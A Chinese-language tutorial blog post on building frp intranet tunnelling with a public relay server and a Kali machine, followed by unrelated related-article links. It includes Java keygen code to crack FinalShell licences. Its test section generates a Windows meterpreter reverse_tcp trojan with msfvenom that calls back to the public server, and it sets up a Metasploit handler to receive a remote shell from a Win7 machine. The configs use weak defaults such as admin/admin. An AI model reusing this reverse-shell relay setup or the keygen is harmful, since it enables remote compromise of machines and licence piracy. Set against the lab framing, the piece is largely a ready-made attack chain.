网络安全之frp内网穿透
前言
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机
环境需求
一台公网服务器(linux操作系统)
一台内网主机服务器(linux操作系统) //我用的kali
Finalshell程序
win7靶机
环境搭建
Finalshell下载及破解
Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载
Finalshell下载链接: https://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz
其中需要破解的可以参考这位博主:https://blog.csdn.net/qq_50839138/article/details/126160766
破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功


import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
public class Finalshell {
public static void main(String[] args) throws NoSuchAlgorithmException {
Scanner scanner = new Scanner(System.in);
System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
String hardwareId = scanner.nextLine();
System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
}
public static String transform(String str) throws NoSuchAlgorithmException {
return hashMD5(str).substring(8, 24);
}
public static String hashMD5(String str) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("MD5");
byte[] hashed = digest.digest(str.getBytes());
StringBuilder sb = new StringBuilder();
byte[] var4 = hashed;
int var5 = hashed.length;
for(int var6 = 0; var6 < var5; ++var6) {
byte b = var4[var6];
int len = b & 255;
if (len < 16) {
sb.append("0");
}
sb.append(Integer.toHexString(len));
}
return sb.toString();
}
}

激活成功后用22端口分别去连接你的公网服务器和kali
公网服务器搭建frp
先使用arch查看自己的系统是64还是32位的
然后使用命令
wget https://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz //下载
tar -zxvf frp_0.46.1_linux_amd64.tar.gz //解压
cd frp_0.46.1_linux_amd64 //进入文件夹


vi frps.ini 修改配置文件
[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080
#授权码,建议改成复杂的
token = 520520
#frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878
# frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin

设置和启动frp服务器
sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frps.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frps //运行frps
sudo systemctl start frps //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frps.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini
[Install]
WantedBy = multi-user.target

防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp //这里对应客户端的6070
sudo firewall-cmd --reload //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看
sudo firewall-cmd --list-ports //查看开放的端口

紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下

然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)

配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面

服务器配置到这就算成功了,接下来配置客户端的
内网客户端服务器搭建frp
在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹

vim frpc.ini //进入frpc.ini配置客户端
[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520
#配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070

sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frpc //运行frps
sudo systemctl start frpc //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frpc.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini
[Install]
WantedBy = multi-user.target

使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功

测试内网穿透是否成功
连接成功后,我们kali的msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip LPORT=6070 -f exe > muma60701.exe
6070对应客户端的frpc.ini的转发端口

开启msf监听,
msfconcole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545 //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run
然后将木马放到虚拟机win7运行之后会得到后台

总结
我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功

网络安全之frp内网穿透的更多相关文章
- frp内网 穿透映射使内网svn可外网访问
起因 公司svn目前部署在内网服务器上,现在想在家中也可以使用,因此需要外网访问内网的工具 经过 使用过几个产品: utools,一个小巧的windows下的工具,内网映射只是它的一个小功能,支持tc ...
- 树莓派FRP内网穿透及自启动
内网穿透的步骤和文件存档 实验室在远方部署了电脑主机来采集数据和图片,每次去调试会很麻烦,因而使用FRP内网穿透使得我们可以在实验室访问主机. 主要功能 实现远程可访问和开机自启FRP程序服务 安装和 ...
- Frp内网穿透搭建,家庭主机对外提供接口,支持ssh访问
Frp内网穿透搭建,家庭主机对外提供接口,支持ssh访问 1.使用场景: 需求1.家中服务器 ubuntu 主机,跑接口服务,需要对外暴漏, 需求2.同时需要在外网ssh远程 关键词: frp内网 ...
- frp 内网穿透访问内网Web服务
ps:最近想要通过域名(公网)访问或者测试在本地搭建的 web 服务(不想在公网IP服务器上再部署个服务,也不想通过teamview等工具远程卡到爆!), 由于本地机器没有公网 IP,无法将域名解析到 ...
- frp内网穿透学习
前言 因为自己在内网,但是目标站在外网,这时候可以通过内网穿透工具,将接收到的请求转发到内网,实现在内网的msf可以控制外网的靶机. 也看了一些Ngrok,花生壳的,发现Ngrok.cc这个看文章说有 ...
- [svc]frp内网穿透
什么是穿透 可以任意暴漏内网任何服务,加入你在你的办公网络有台pc,可以上网就可以了, 你可以在你电脑上安装各类服务器, 暴漏如80 22等端口, 注意 这可以暴漏到公网哦, 在出口不做任何nat情况 ...
- frp内网穿透
原理 frp(fast reverse proxy)分为Server端和Client端,Server端安装在带有公网IP的服务器上,Client安装在内网环境但能上网的普通PC中. 流程: Serve ...
- frp内网穿透实战
什么是frp frp是一个使用非常简单的开源内网穿透软件,代码地址:https://github.com/fatedier/frp ,使用条前提你需要有一台公网服务器,大致原理是:公网服务器监听某个端 ...
- 五、frp内网穿透客户端frpc.ini各配置参数详解
[必须]标识头[common]是不可或缺的部分 [必须]frps服务端IPserver_addr = 0.0.0.00.0.0.0为FRP服务端IP,客户端要填写为服务端已配置的对应的IP,或者是服务 ...
- 四、frp内网穿透服务端frps.ini各配置参数详解
[必须]标识头[common]是不可或缺的部分 [必须]服务器IPbind_addr = 0.0.0.00.0.0.0为服务器全局所有IP可用,假如你的服务器有多个IP则可以这样做,或者填写为指定其中 ...
随机推荐
- 2022最新版超详细的Maven下载配置教程、IDEA中集成maven(包含图解过程)、以及导入项目时jar包下载不成功的问题解决
文章目录 1.maven下载 2.maven环境变量的配置 3.查看maven是否配置成功 4.配置文件的修改 5.IDEA集成maven 6.导入项目时jar包下载不成功的问题解决 maven教程: ...
- 齐博x1万能数据统计接口
为何叫万能数据统计接口呢?因为可以调用全站任何数据表的数据总条数,并且可以设置查询条件http://qb.net/index.php/index/wxapp.count.html?table=memb ...
- JS中对DOM元素的操作
https://www.runoob.com/jquery/jquery-ref-html.html 1.each 遍历 //遍历所有class为checksingle的DOM元素 $(" ...
- 试试将.NET7编译为WASM并在Docker上运行
之前有听到说Docker支持Wasmtime了,刚好.NET7也支持WASM,就带大家来了解一下这个东西,顺便试试它怎么样. 因为WASM(WebAssembly) 一开始是一个给浏览器的技术,比起J ...
- 【笔记】CF1714F Build a Tree and That Is It 及相关
题目传送门 细节较多的构造题. 解决思路 题目中虽然说是无根树,但我们可以钦定这棵树的根为 1,方便构造,这是不影响结果的. 以下记给定的三段长度为 \(a,b,c\) . 先考虑无解的情况. 首先, ...
- 视频服务HDR Vivid 还原色彩,让所见成“真”
如今,视频正在以一种前所未有的方式渗入日常生活,是当下人们记录生活最热门的方式.所以,用户对视频的画质要求越来越高,App想要吸引更多的用户,拥有视频画质新技术的强力支撑很关键. HDR(High-D ...
- Webpack前端源码泄露漏洞
什么是Webpack? webpack是一个打包器(bundler),它能将多个js.css.json等文件打包成一个文件.这样可以使复杂的各种加载文件集合为整合为单一的集合,让代码更加模块化便于编程 ...
- 2022春每日一题:Day 14
题目:字符串归类 发现字符串长度总数不大,因此把每个字符串有的字母分离,存放到桶中,再枚举合并即可,时间复杂度O(len) 赛时代码: #include <cstdio> #include ...
- 第1章-Spring的模块与应用场景
目录 一.Spring模块 1. 核心模块 2. AOP模块 3. 消息模块 4. 数据访问模块 5. Web模块 6. 测试模块 二.集成功能 1. 目标原则 2. 支持组件 三.应用场景 1. 典 ...
- 关于python导包问题(新手向)
包和模块 首先要弄清这两个概念, 在python 中 一个文件夹中包含__init__.py 文件(这个文件是包的初始化文件,在你导入包或包下面的模块的时候,这个文件会最开始运行),就会被python ...